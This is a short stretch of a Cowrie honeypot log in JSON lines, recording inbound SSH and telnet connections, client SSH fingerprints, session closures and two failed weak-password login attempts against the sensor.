{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59462,"dst_ip":"159.203.135.109","dst_port":22,"session":"caac034f7650","protocol":"ssh","message":"New connection: 159.203.92.129:59462 (159.203.135.109:22) [session: caac034f7650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:01.252762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:01.259466Z","src_ip":"159.203.92.129","session":"caac034f7650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:01.269319Z","src_ip":"159.203.92.129","session":"caac034f7650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"123456","message":"login attempt [alias/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:01.291604Z","src_ip":"159.203.92.129","session":"caac034f7650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.573304176330566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:02.072524Z","src_ip":"62.77.140.101","session":"7d7722e13fff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69093346595764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:02.091564Z","src_ip":"136.244.67.81","session":"3362a8551d59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.314936876296997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:02.188500Z","src_ip":"138.197.5.236","session":"67d8170bddff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:02.320378Z","src_ip":"159.203.92.129","session":"caac034f7650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.891841411590576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:03.363252Z","src_ip":"138.197.5.236","session":"49d73493e7a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":50568,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d490caddfee","protocol":"telnet","message":"New connection: 77.72.5.107:50568 (159.203.135.109:23) [session: 5d490caddfee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:03.502489Z"}
{"eventid":"cowrie.session.closed","duration":30.818015098571777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:04.191203Z","src_ip":"77.72.5.107","session":"4d44a279d0d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.571590662002563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:04.317379Z","src_ip":"138.197.5.236","session":"0dea4895e822","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":57402,"dst_ip":"159.203.135.109","dst_port":23,"session":"245dedb0146b","protocol":"telnet","message":"New connection: 138.197.5.236:57402 (159.203.135.109:23) [session: 245dedb0146b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:05.210130Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":34034,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca8b1f164319","protocol":"telnet","message":"New connection: 107.152.33.170:34034 (159.203.135.109:23) [session: ca8b1f164319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:07.352694Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":34050,"dst_ip":"159.203.135.109","dst_port":23,"session":"34a7671a0ee1","protocol":"telnet","message":"New connection: 107.152.33.170:34050 (159.203.135.109:23) [session: 34a7671a0ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:07.476519Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":52396,"dst_ip":"159.203.135.109","dst_port":23,"session":"75680fe2b4c8","protocol":"telnet","message":"New connection: 62.77.140.101:52396 (159.203.135.109:23) [session: 75680fe2b4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:08.369750Z"}
{"eventid":"cowrie.session.closed","duration":30.176109790802002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:09.063657Z","src_ip":"62.77.140.101","session":"6f3f25e7877e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.020407676696777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:09.184018Z","src_ip":"138.197.5.236","session":"fd2ab9da1a3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.566988468170166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:09.208396Z","src_ip":"138.197.5.236","session":"37a39982a6d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":34454,"dst_ip":"159.203.135.109","dst_port":23,"session":"058e17ef2a19","protocol":"telnet","message":"New connection: 138.197.5.236:34454 (159.203.135.109:23) [session: 058e17ef2a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:11.413691Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":52412,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c0e8c2e3ef3","protocol":"telnet","message":"New connection: 62.77.140.101:52412 (159.203.135.109:23) [session: 5c0e8c2e3ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:12.023291Z"}
{"eventid":"cowrie.session.closed","duration":31.727919340133667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:12.802402Z","src_ip":"62.77.140.101","session":"c9fad70c0516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":52428,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bc2bde60900","protocol":"telnet","message":"New connection: 62.77.140.101:52428 (159.203.135.109:23) [session: 3bc2bde60900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:12.883097Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":52432,"dst_ip":"159.203.135.109","dst_port":23,"session":"16e901f67a6c","protocol":"telnet","message":"New connection: 62.77.140.101:52432 (159.203.135.109:23) [session: 16e901f67a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:13.046997Z"}
{"eventid":"cowrie.session.closed","duration":30.611762285232544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:13.188577Z","src_ip":"62.77.140.101","session":"6b43aac832fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":52446,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fa49a60feed","protocol":"telnet","message":"New connection: 62.77.140.101:52446 (159.203.135.109:23) [session: 9fa49a60feed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:13.322384Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":37612,"dst_ip":"159.203.135.109","dst_port":23,"session":"b259617f047c","protocol":"telnet","message":"New connection: 138.197.5.236:37612 (159.203.135.109:23) [session: b259617f047c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:13.518263Z"}
{"eventid":"cowrie.session.closed","duration":30.983086824417114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:13.582925Z","src_ip":"138.197.5.236","session":"c633669e8163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":38090,"dst_ip":"159.203.135.109","dst_port":23,"session":"1428f51f35bf","protocol":"telnet","message":"New connection: 138.197.5.236:38090 (159.203.135.109:23) [session: 1428f51f35bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:14.004350Z"}
{"eventid":"cowrie.session.closed","duration":30.773839235305786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:16.093107Z","src_ip":"62.77.140.101","session":"032ba3c1cce4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.238630294799805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:16.241240Z","src_ip":"62.77.140.101","session":"6b2cd5f15e25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.268377542495728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:16.498085Z","src_ip":"138.197.5.236","session":"c7b6b3458abf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.679328203201294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:18.118692Z","src_ip":"62.77.140.101","session":"bf47fe12310f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90848445892334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:18.231601Z","src_ip":"138.197.5.236","session":"dc4f140efa74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723397970199585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:19.163821Z","src_ip":"136.244.67.81","session":"608a248c809b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.595003366470337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:20.051717Z","src_ip":"136.244.67.81","session":"46b0bfa35f09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":34054,"dst_ip":"159.203.135.109","dst_port":23,"session":"144f7b80af2f","protocol":"telnet","message":"New connection: 107.152.33.170:34054 (159.203.135.109:23) [session: 144f7b80af2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:20.173559Z"}
{"eventid":"cowrie.session.closed","duration":30.18074870109558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:21.057431Z","src_ip":"136.244.67.81","session":"cc702c6ab4b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":34062,"dst_ip":"159.203.135.109","dst_port":23,"session":"018dc9e09705","protocol":"telnet","message":"New connection: 107.152.33.170:34062 (159.203.135.109:23) [session: 018dc9e09705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:21.093190Z"}
{"eventid":"cowrie.session.closed","duration":31.193194150924683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:21.365596Z","src_ip":"62.77.140.101","session":"98700f4c8e35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.664942979812622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:22.084414Z","src_ip":"62.77.140.101","session":"bf32dbd8b1cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":33124,"dst_ip":"159.203.135.109","dst_port":23,"session":"20e1374b571e","protocol":"telnet","message":"New connection: 62.77.140.101:33124 (159.203.135.109:23) [session: 20e1374b571e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:22.815809Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":49608,"dst_ip":"10.17.0.5","dst_port":22,"session":"46a3546fc32c","protocol":"ssh","message":"New connection: 171.244.143.209:49608 (10.17.0.5:22) [session: 46a3546fc32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:23.170559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:23.185287Z","src_ip":"171.244.143.209","session":"46a3546fc32c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":47882,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1bf40cafa6a","protocol":"telnet","message":"New connection: 138.197.5.236:47882 (159.203.135.109:23) [session: e1bf40cafa6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:23.306027Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:23.444257Z","src_ip":"171.244.143.209","session":"46a3546fc32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.957937240600586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:24.257819Z","src_ip":"62.77.140.101","session":"9fd06f501aac","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdqwe","message":"login attempt [root/qweasdqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:24.417067Z","src_ip":"171.244.143.209","session":"46a3546fc32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:25.662844Z","src_ip":"171.244.143.209","session":"46a3546fc32c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":50916,"dst_ip":"159.203.135.109","dst_port":23,"session":"f602ae4fa2b7","protocol":"telnet","message":"New connection: 138.197.5.236:50916 (159.203.135.109:23) [session: f602ae4fa2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:26.627515Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":50274,"dst_ip":"159.203.135.109","dst_port":23,"session":"29a086d8911e","protocol":"telnet","message":"New connection: 138.197.5.236:50274 (159.203.135.109:23) [session: 29a086d8911e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:26.945547Z"}
{"eventid":"cowrie.session.closed","duration":30.39799165725708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:27.100192Z","src_ip":"85.190.254.94","session":"70a749cee70e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":36310,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab7b5cb62dcc","protocol":"telnet","message":"New connection: 62.77.140.101:36310 (159.203.135.109:23) [session: ab7b5cb62dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:27.858179Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":36324,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb95aee8e6d3","protocol":"telnet","message":"New connection: 62.77.140.101:36324 (159.203.135.109:23) [session: eb95aee8e6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:28.137119Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":34436,"dst_ip":"159.203.135.109","dst_port":23,"session":"781ef53cde2c","protocol":"telnet","message":"New connection: 107.152.33.170:34436 (159.203.135.109:23) [session: 781ef53cde2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:28.147733Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":34446,"dst_ip":"159.203.135.109","dst_port":23,"session":"55969b987b3c","protocol":"telnet","message":"New connection: 107.152.33.170:34446 (159.203.135.109:23) [session: 55969b987b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:28.820117Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.30.157.153","src_port":45060,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d334197e82f","protocol":"telnet","message":"New connection: 189.30.157.153:45060 (10.17.0.5:23) [session: 2d334197e82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:29.228316Z"}
{"eventid":"cowrie.session.closed","duration":31.15747857093811,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:29.296701Z","src_ip":"138.197.5.236","session":"e64a19490b12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":54252,"dst_ip":"159.203.135.109","dst_port":23,"session":"072a63f8746a","protocol":"telnet","message":"New connection: 138.197.5.236:54252 (159.203.135.109:23) [session: 072a63f8746a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:30.395633Z"}
{"eventid":"cowrie.session.closed","duration":30.766967058181763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:31.100267Z","src_ip":"62.77.140.101","session":"203c440b7eef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":56566,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5af7a0962ab","protocol":"telnet","message":"New connection: 138.197.5.236:56566 (159.203.135.109:23) [session: a5af7a0962ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:32.725810Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":42752,"dst_ip":"159.203.135.109","dst_port":23,"session":"092abbcc1265","protocol":"telnet","message":"New connection: 107.152.33.170:42752 (159.203.135.109:23) [session: 092abbcc1265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:33.088838Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":36340,"dst_ip":"159.203.135.109","dst_port":23,"session":"3638ab9b6f2b","protocol":"telnet","message":"New connection: 62.77.140.101:36340 (159.203.135.109:23) [session: 3638ab9b6f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:33.768564Z"}
{"eventid":"cowrie.session.closed","duration":31.402104377746582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:34.904442Z","src_ip":"77.72.5.107","session":"5d490caddfee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":36354,"dst_ip":"159.203.135.109","dst_port":23,"session":"d59b3fce5eed","protocol":"telnet","message":"New connection: 62.77.140.101:36354 (159.203.135.109:23) [session: d59b3fce5eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:35.473030Z"}
{"eventid":"cowrie.session.closed","duration":31.1168794631958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:36.326878Z","src_ip":"138.197.5.236","session":"245dedb0146b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":36356,"dst_ip":"159.203.135.109","dst_port":23,"session":"179576844b6e","protocol":"telnet","message":"New connection: 62.77.140.101:36356 (159.203.135.109:23) [session: 179576844b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:36.331958Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":42780,"dst_ip":"159.203.135.109","dst_port":23,"session":"0223a2f59d6b","protocol":"telnet","message":"New connection: 107.152.33.170:42780 (159.203.135.109:23) [session: 0223a2f59d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:36.760873Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":42764,"dst_ip":"159.203.135.109","dst_port":23,"session":"7461278ea30b","protocol":"telnet","message":"New connection: 107.152.33.170:42764 (159.203.135.109:23) [session: 7461278ea30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:37.041349Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":46603,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b40f1938ea6","protocol":"ssh","message":"New connection: 119.195.89.96:46603 (159.203.135.109:22) [session: 2b40f1938ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:37.644548Z"}
